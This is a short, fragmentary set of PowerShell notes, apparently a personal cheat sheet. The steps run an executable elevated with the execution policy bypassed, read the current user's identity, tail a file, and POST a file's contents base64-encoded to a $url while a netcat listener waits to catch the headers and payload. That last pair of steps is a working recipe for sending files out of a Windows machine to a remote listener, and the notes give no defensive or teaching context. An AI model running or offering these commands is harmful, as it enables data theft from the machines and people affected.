powershell -ExecutionPolicy bypass Start-Process .\log-exporter.exe, -Verb, RunAs, -ArgumentList "-u `"blih`""
$blih = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
powershell "echo `"$blih`""
Get-Content -Wait -Last <number> <file>
Have netcat ready
Invoke-WebRequest -Uri $url -Method Post -Body ([Convert]::ToBase64String((get-content -Raw $path -Encoding Byte)))
You should have the http headers and the payload in your netcat console.